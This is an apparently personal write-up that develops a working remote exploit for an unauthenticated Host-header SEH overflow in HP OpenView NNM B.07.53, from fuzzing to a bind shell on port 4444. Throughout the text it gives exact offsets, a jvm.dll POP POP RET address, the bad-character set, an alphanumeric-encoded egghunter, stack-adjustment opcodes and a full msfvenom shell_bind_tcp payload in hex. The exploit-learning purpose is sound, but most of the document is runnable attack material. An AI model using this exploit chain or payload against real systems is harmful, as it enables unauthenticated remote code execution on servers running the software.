Exploiting HP OpenView NNM - B.07.53
In DEFCON #16, there was an interesting session on HP OpenView NNM exploitation “from bug to 0 day” presented by muts. While watching his walk-through, I found that this particular exploit development process was extremely intense and challenging. To better understand the concepts, I decided to take that as an exercise and try to reproduce the same in my local environment.
Surprisingly, the final part of the journey turned out to be a zero-day for me as well in the specific B.07.53 version.
Environment & Tools
1
2
3
4
5
- 32-bit windows server 2003-R2-SP2 (disabled DEP, enabled ASLR)
- python 2.7 x86, pydbg 32-bit binary, python wmi, pywin32
- HP OpenView NNM release - B.07.53
- Immunity Debugger v1.85, mona.py v2.0
- Kali 2.0, Spike fuzzer, python 3.7.x (exploit scripts)
Web Interface
Install HP OpenView NNM (release - B.07.53) on Windows 2003-R2-SP2.
Browse it’s web interface - http://172.16.232.198:7510/topology/home to verify everything is up and running.
Fuzz Variables
Sniff the HTTP traffic through Burp proxy and identify 5 potential fuzz points (HTTP method, url_path, ip_address, port, user_agent header) on that GET request.
To crash the application, create a Spike template - http.spk.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
s_string_variable("GET");
s_string(" ");
s_string_variable("/topology/home")
s_string(" ");
s_string("HTTP/1.1");
s_string("\r\n");
s_string("Host: ");
s_string_variable("172.16.116.198");
s_string(":");
s_string_variable("7510");
s_string("\r\n");
s_string("User-Agent: ");
s_string_variable("Mozilla/5.0 (X11; U; Linux i686;en-US; rv:1.8.1.14)");
s_string("\r\n");
s_string("\r\n");
Process - ova.exe
It is observed that ova.exe process is responsible for listening to the network connection on TCP port 7150.
Crash
Attach and run the ovas.exe process through Immunity.
Start fuzzing the http.spk template through Spike fuzzer.
1
generic_send_tcp 172.16.116.198 7510 http.spk 0 0
It is observed that while fuzzing the host header, application crashes.
Verify and confirm the same by inspecting the host header in the memory dump.
Analyzing the crash scenario
SEHandnSEHboth are overwritten by fuzz bufferA.- It is possible to control/overwrite the
EIPafter passing the exception to the program. ESP + 0x4Cpoints at the 1025^th byte of our fuzz buffer.- Approximate
2048 bytesbuffer causes this crash.
The Bug
HP OpenView NNM - B.07.53 does not validate the host header while processing any un-authenticated HTTP request. As a result, an attacker can overwrite the SEH chain by sending a sizeable crafted buffer and hijack the execution flow.
Proof Of Concept
Restart ovas.exe and attach it within Immunity.
Set up the working directory for mona.py.
1
!mona config -set workingfolder c:\mona-logs\%p
Send the 2048 bytes buffer to verify and reproduce the same crash with a stand-alone python script.
Exploit code: hpnnm_B.07.53_exploit_v0.1.py
Best Buffer Length
Try to play with different buffer lengths to figure out the maximum length of the fuzz buffer, which produces the same crash.
After analyzing different crashes, it is observed that 3780 bytes buffer can be the right choice.
Exploit code: hpnnm_B.07.53_exploit_v0.2.py
nSEH & SEH Offsets
Create 3780 bytes unique pattern through mona.py.
1
!mona pattern_create 3780
Then copy those bytes from C:\mona-logs\ovas\pattern.txt and update the skeleton code.
Exploit code: hpnnm_B.07.53_exploit_v0.3.py
During the crash, inspect the SEH chain and select the first corrupted-entry and then follow the address in the stack.
It is observed that
nSEHis overwritten with pattern =>32674531SEHis overwritten with pattern =>45336745
Leverage mona.py to find the correct offsets:
nSEHoffset:!mona pattern_offset 32674531=>3305SEHoffset:!mona pattern_offset 45336745=>3309
To verify those offsets, divide the original buffer into four different blocks - A, B, C, D, and update the skeleton code with those identified offset values.
Exploit code: hpnnm_B.07.53_exploit_v0.4.py
During the crash, the entire buffer is laid in memory in our expected way.
Calculate the length of D buffer = 464 bytes.
Even if we have identified the maximum buffer length, this length is too small to accommodate an encoded version of the final payload.
POP POP RET
Try to identify which modules are not compiled with SafeSEH and ASLR.
1
!mona nosafesehaslr
There are plenty of options.
Select jvm.dll module and pick up a PPR address => 0x6D6FA245
!mona seh -m jvm.dll- This command generates the
seh.txt.
Update the skeleton code in little endian order = \x45\xa2\x6f\x6d.
Exploit code: hpnnm_B.07.53_exploit_v0.5.py
After that, set up a breakpoint at 0x6D6FA245 to verify if it is possible to land on that address during the crash.
However during the crash, when we pass the exception to the program, the SEH address is mangled into 0xA2BEEF45
little endian order: \x45\xef\xbe\xa2
It looks like some character translation/filtering is applied to the buffer. Due to this, we now need to find a bad char friendly PPR address.
Bad & Good Characters
Use badchar_detection_HPNNM_B.07.53.py to identify all good and bad characters in an automated fashion.
Script result
1
2
3
4
5
# good chars
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3b\x3c\x3d\x3e\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f
# bad chars
\x00\x0a\x0d\x2f\x3a\x3f\x40\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
During the crash,
ESP + 0x4cpointed at the1025-the bytes of the fuzz buffer.
Algorithm
- Start the
ovas.exeprocess:ovstop -c ovas && ovstart -c ovas
- While sending the buffer, place a
test-charat the1025-th position. - if (application does not crash) OR (
ESP + 0x4cdoes not have the value during crash time) then- consider that
test-charasbad - write it down in
badchars.txt
- consider that
- else
- consider that
test-charasgood - write it down in
goodchars.txt
- consider that
- Kill the
ovas.exeprocess:taskkill /f /im ovas.exe
- Verify another
test-charfrom all character set and repeat the same process and iterate all characters from\x00to\xff.
Safe POP POP RET
Run find_safe_address.py to identify all safe PPR address from seh.txt.
Pick up the first address - 0x6d6e394a and set up a breakpoint to verify that.
Run the following exploit code updated with a safe PPR address.
Exploit code: hpnnm_B.07.53_exploit_v0.6.py
As expected, this time, that address does not mangle during the crash.
Pass the exception and land on the breakpoint.
Step through POP POP RET and finally jump into nSEH.
Jump Over SEH
In nSEH, we can’t directly write a 4 byte jump code to meet D buffer because the short jump opcode (\xeb) is a bad char.
Now we need to identify all safe instructions from our good_char.txt.
Run find_safe_opcode.py and identify all safe instructions. From there, find that conditional jump instructions are safe to execute.
Conditional jump JA (\x77) occurs when
CF = 0andZF = 0- Jump must be within
-128 to +127bytes of the next instruction.
So if we want to jump 4 bytes (i.e. \x04 is a safe character), then the opcode is \x77\x04
Now at crash point, it is noticed that ZF = 1 and CF = 0.
To make ZF = 0 and to satisfy the jump condition, we can perform an operation that produces a non zero result (i.e., decrease the EAX register)
DEC EAX=> opcode\x48is a safe char
To satisfy the flag condition (
ZF = 0), decreasing theEAXregister1time is sufficient. However,opcodefor this instruction isone byte, so we need to fill another byte with a value (in the stack it gets interpreted as an instruction) that does not impact theZFflag. Due to this, we can useDEC EAX=>\x48another time as it does not change theZFflag.
Select the jump offset = \x04 to jump over SEH and meet the D buffer.
1
2
3
# 1035FE34 48 DEC EAX
# 1035FE35 48 DEC EAX
# 1035FE36 77 04 JA SHORT 1035FE59
Update the skeleton code to overwrite nSEH with \x48\x48\x77\x04 and set a break point at 0x6d6e394a.
Exploit code: hpnnm_B.07.53_exploit_v0.7.py
You can see, during the crash, the breakpoint is hit, and after stepping through POP POP RET, control goes to the nSEH. After that, it executes all instructions stored on nSEH and finally jumps forward 4 bytes and meet D buffer block.
Egghunter
At this point, roughly 464 bytes are left in D buffer.
Problem
- This
Dbuffer suffers from character translation. Due to this, we can’t directly write any shellcode/payload here. - Again if we use any existing encoder from
msfvenomafter eliminating all those bad characters, then the final payload size will be huge.
Solution
- We can choose a smaller stage 1 payload, such as
32bytes egghunter. - We can use a
custom encoderthat generates less than464bytes output for the32byte egghunter code. - We can write the original shellcode somewhere in the memory that has more space.
Alphanum Encoder
Use mona.py alphanum encoder to encode 32 bytes egghunter payload. This encoder uses only AND, SUB, PUSH operations during the encoding process, and those instructions are bad characters friendly.
We need to choose an egg marker, and that needs to be bad character friendly as well.
lets choose egg_marker = T00wT00W
1
!mona encode ascii -t alphanum -b '\x00\x0a\x0d\x2f\x3a\x3f\x40\x80..\xff' -s 6681CAFF0F42526A0258CD2E3C055A74EFB8543030578BFAAF75EAAF75E7FFE7
It generates the encoded_alphanum.txt inside mona-logs\ovas directory.
1
2
3
encoded egghunter in hex format, egg_marker = T00wT00W
=======================================================
\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2e\x5d\x55\x5d\x2d\x2e\x5d\x55\x5d\x2d\x2f\x5e\x55\x5d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x70\x2d\x5c\x6f\x2d\x70\x2d\x5c\x6f\x2d\x71\x2f\x5d\x71\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x45\x38\x26\x57\x2d\x45\x38\x26\x57\x2d\x46\x38\x28\x57\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5b\x6c\x38\x45\x2d\x5b\x6c\x38\x45\x2d\x5b\x6e\x3a\x45\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x41\x53\x37\x2e\x2d\x41\x53\x37\x2e\x2d\x42\x54\x37\x2f\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x54\x37\x66\x45\x2d\x54\x37\x66\x45\x2d\x56\x39\x66\x46\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x50\x3f\x39\x31\x2d\x50\x3f\x39\x31\x2d\x51\x3f\x3b\x33\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x33\x2a\x67\x55\x2d\x33\x2a\x67\x55\x2d\x34\x2a\x67\x55\x50
Adjust ESP
When we jump over SEH and land into D buffer, at this point, let’s check our PC(i.e. EIP) and ESP address.
1
2
ESP => 2216E6D8
EIP => 2216FBF0
Usually when ESP > EIP, we need to perform stack pointer adjustment and make ESP <= EIP.
Because during this condition, PC and ESP both will move towards each other, and any PUSH instruction stored in the path of PC, overwrite an existing instruction in the stack. Thus it modifies the original shellcode/payload.
In our present scenario, ESP < EIP. During execution, PC and ESP both move away from each other. Due to this, there is no risk of instruction overwrite.
However, if we inspect our encoded version of egghunter code, then we can observe the followings
- for the first
PUSHoperation, it inserts thelast 4 bytesof the original egghunter code into the stack. - for the second
PUSHoperation, it inserts thesecond last 4 bytesof the original egghunter code into the stack. - It means, for every
PUSH,ESPmoves towards low memory by4 bytes. - After 8^th
PUSHoperation,ESPpoints to thefirst 4 bytesof the original egghunter code.
We have to point/set the ESP far down to the high memory if we want to generate the original egghunter after the encoded egghunter payload.
Due to this reason, we need to adjust the ESP. But how far we need to go that depends on the length of ( esp_set_up_logic + encoded_payload + original_payload).
1
2
3
4
5
6
# for example
esp_setup_logic = 7 bytes (assuming)
encoded_egghunter = 208 bytes
original_egghunter = 32 bytes
# we need to set the ESP to some value > 247 (7 + 208 + 32)
Problem
- We can’t use
ADD ESPdirectly because\xECis a bad character. ASLRprotection isenabledso we can’thardcodeany address.- Further, based on the value of the
EIP, we need to adjust theESPdynamically.
Solution
- First, we need to get hold of the
program countervalue into some register (i.e.EAX) - Then we need to perform
ADDoperation on that register with somesafecharacter/value. - Then
PUSHthe register on the stack thenPOPthat out intoESP. So thatESPcontains the same value asEAX.
Thought Process
- If we observe, when we jump over
nSEHand meet ourDbuffer, at that point =>ESPpoints tonSEH. - However the interestingly, it is just
8 bytesaway fromprogram counter/EIP. - So if we move this
ESPvalue toEAXthen we can get hold of theprogram counterapproximately. - If the length of the encoded_egghunter =
208, original_egghunter =32then minimum we need to add240~250toEAX. - Here I am assuming
esp_setup_logictakes maximum10bytes. - We can add any more than
250but less than464. We are very much flexible in this.
If we try to add 250 to EAX then the final opcode would be like below
1
2
ADD EAX, 0xfa # 0xfa => 250
String Literal: "\x05\xFA\x00\x00\x00"
The tool used: https://defuse.ca/online-x86-assembler.htm
But \xfa is a bad char, and we can’t use that. Moreover, the final opcode contains other bad chars such as ADD EAX => \x05and three null bytes.
To resolve this, we have to avoid ADD EAX instruction.
Solution
Instead of using the entire 32 bytes register, we can use lower 16 bytes to perform the addition operation. This technique provides the same result.
ADD AX => \x66 (safe char)
1
2
ADD AX, 0xfa
String Literal: 0x66, 0x05, 0xFA, 0x00
But still, the final opcode has another null byte.
We can’t choose 251 to 255 as \xfa to \xff. All are bad chars.
256=> 0x100 => also contains null byte257=> 0x101 => but here\x01\x01both chars are safe. We can use this.
Thus, using this backtrack trial method, we can finalize the value to be added.
We are quite flexible in choosing the
valueto be added to adjust theESP. Remember that thevalueshould not be larger than464.
Lets choose the value = 300 => 12C (01, 2c both are safe chars).
1
2
ADD AX, 0x12c
String Literal: "\x66\x05\x2C\x01"
So our final esp_setup_logic will be
1
2
3
4
5
# 2216FDF0 58 POP EAX => ESP holds the EIP (approx.)
# 2216FDF8 66:05 2C01 ADD AX,12C => add 300 with present value, 0x01 and 0x2c => both are safe character
# 2216FDF6 50 PUSH EAX
# 2216FDF7 5C POP ESP => moving the EAX value to ESP
Total length = 7 bytes.
Program Flow
During program run, when all instructions of the
esp_setup_logicare executed, at that pointESP>EIP.After that, we want the program should execute all encoded egghunter’s instructions.
During this process,
PCmoves towardhigh memoryand in the path, while executing everyPUSHinstruction byPC,ESPmoves towardslow memory.When all instructions of the
encoded egghunterare finished, during that point, theESPpoints at the very 1^st block of the actual egghunter code.
- After executing the
encoded egghuntercode, thePCorEIProlls down and executes allINC ECXand eventually reaches the beginning of the normal egghunter code. At that pointESP=EIP. After that, the
EIPstarts executing the egghunter code. At that pointESP<EIP.- Finally, when the egghunter code execution is completed, it finds the address of the egg signature -
T00WT00Wand passes the execution control by jumping to the address whereEDIpoints.
Exploit code: hpnnm_B.07.53_exploit_v0.8.py
Key Points
- When the program execution happens from the stack, then the
opcodeplaced on the buffer gets interpreted asinstruction. That meansAis interpreted asINC ECX. - Every
PUSHinstruction in theencoded_egghunter_logic, overwrites theINC ECXinstruction on the stack and, finally, approximate41 bytesofAbuffer gets stored between theencoded_egghunter_logicand expandedactual egghunter. - The increment of the
ECXregister does not have any impact onESP.
Code Cave
If we place another large buffer at the end of the
HTTPrequest asPOSTdata, then would it affect the entire crash?
To examine that scenario, create a pattern of 1500 bytes and send this new buffer as POST data.
!mona pattern_create 1500
Exploit code: hpnnm_B.07.53_exploit_v0.9.py
During the crash, !mona suggest finds the cyclic pattern at 0x04df6fd1.
But the original buffer is reduced into 139 bytes.
That length is too little to accommodate a reverse/bind shell payload. It seems application puts a limit on the length of HTTP POST data.
Due to this, we need to put the final shellcode/payload at the beginning of the input buffer in an encoded form and the same way we need to adjust ESP to generate the actual shellcode dynamically in stack memory.
Final Payload
Generate 328 bytes shell_bind_tcp payload using msfvenom.
1
2
3
4
5
6
(venv) ╭─root@kali ~
╰─# msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=4444 -f hex
No encoder or badchars specified, outputting raw payload
Payload size: 328 bytes
Final size of hex file: 656 bytes
fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd56a085950e2fd4050405068ea0fdfe0ffd597680200115c89e66a10565768c2db3767ffd55768b7e938ffffd5576874ec3be1ffd5579768756e4d61ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff306808871d60ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5
While trying to encode that payload using mona.py alphanum encoder, I encountered another challenge.
The Immunity textbox has some length limitations. Due to this reason, we can’t put the entire command and execute it even if we can’t run mona.py outside the debugger context.
1
!mona encode ascii -t alphanum -b '\x00\x0a\x0d\x2f\x3a\x3f\x40\x80..\xff' -s fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd56a085950e2fd4050405068ea0fdfe0ffd597680200115c89e66a10565768c2db3767ffd55768b7e938ffffd5576874ec3be1ffd5579768756e4d61ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff306808871d60ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5
alpha_num_encoder.py
Use alpha_num_encoder.py to encode the hex formatted payload generated from msfvenom.
1
2
3
4
5
6
7
8
9
10
alpha_num_encoder.py [-h] -p -b
encode a payload using alpha_num_encoder
optional arguments:
-h, --help show this help message and exit
-p , --payload provide a text file containing payload in hex format
-b , --bad_characters
provide a text file containing all bad characters in
hex format
ESP Align By 4
As we know that ASLR is turned on, so we need to make sure and align the stack pointer / ESP always by 4 to run the shellcode reliably.
It means, for a 32 bit system, the address stored in the ESP should always be divisible by 4.
We can use the following logic to achieve this.
1
2
3
4
5
6
7
8
9
10
# ESP alighment by 4
0: 83 ec 10 sub esp,0x10
3: 54 push esp
4: 58 pop eax
5: 31 d2 xor edx,edx
7: bb 04 00 00 00 mov ebx,0x4
c: f7 f3 div ebx
e: 29 d4 sub esp,edx
# hex bytes = 83EC10545831D2BB04000000F7F329D4
However, the hex bytes contain some bad characters.
To overcome this, prepend this logic/hex bytes just before the actual shellcode and use alpha_num_encoder.py to encode the entire string.
1
2
# payload.txt (esp_align_by_4 logic + shellcode)
83EC10545831D2BB04000000F7F329D4fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd56a085950e2fd4050405068ea0fdfe0ffd597680200115c89e66a10565768c2db3767ffd55768b7e938ffffd5576874ec3be1ffd5579768756e4d61ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff306808871d60ffd5bbaac5e25d68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5
In this way, we can make sure that the code can be placed/run before the actual shellcode.
1
2
(playbook) ╭─root@kali ~/code-dev/python/hands-on_python3/hpnnm-B.07.53
╰─# python alpha_num_encoder.py -p payload.txt -b bad_chars.txt > result.txt
Detailed output of the script => result.txt
Buffer Layout
From the egghunter code, we can figure out that when the egghunter finds the egg marker, it loads up JUMP address into the EDI register.
So we can quickly get hold of the EIP by directly moving that EDI value to EAX.
1
2
# 04DD74D6 57 PUSH EDI => \x57 is good char
# 04DD74D7 58 POP EAX => \x58 is good char
Now let’s find what value we can add with AX register.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# for example
esp_setup_logic = 7 ~ 10 bytes
encoded_logic(esp_adjust_by_4_logic + shell_bind_tcp payload) = 2236 bytes
actual_esp_adjust_by_4_logic = 16 bytes
actual_shell_reverse_tcp_payload = 328 bytes
============================================
total = 2580 bytes
# we need to set the ESP to some value > 2580 but less than 3305
# 2580 => in hex format 0xa14
# \x0a is bad char so we need to find the next good char.
# after \x09, \x0b is good char => so we can use the value 0x0b as the stating char.
# for the last char, we can choose any value from the good char set. lets choose => 0x01
# final logic
PUSH EDI
POP EAX
ADD AX, 0xb01 # adding 2817
PUSH EAX
POP ESP
Use mona.py to generate the opcode.
1
2
!mona assemble -s "push edi#pop eax#add ax,0xb01#push eax#pop esp"
"\x57\x58\x66\x05\x01\x0B\x50\x5C"
On-line tool => https://defuse.ca/online-x86-assembler.htm
Prepare the final buffer that will layout in the memory like below.
We have to use the initial 3305 bytes buffer to fit the following.
- egg marker -
T00WT00W ESPsetup_logic.Encodedversion ofalign_stack_pointer_logicandshell_bind_tcpshellcode.- Remaining buffer where
align_stack_pointer_logicandactual shellcodewill expand during runtime.
The Shell
Fired up the final exploit code, and it opens a TCP port 4444.
Exploit code: hpnnm_B.07.53_exploit_shell_bind_tcp_v1.0.py
If windows
firewallis enabled, add theovas.exeinto the program’s exceptions`. Otherwise, during the script execution, the payload does not get executed due to an exception.
Conclusion
At the end of my journey, I found my final exploit code was turned out entirely different from muts EDB-ID #5342. The reason was, B.07.53 release validates the length of GET request, which restricted me from delivering the payload the way muts did.
























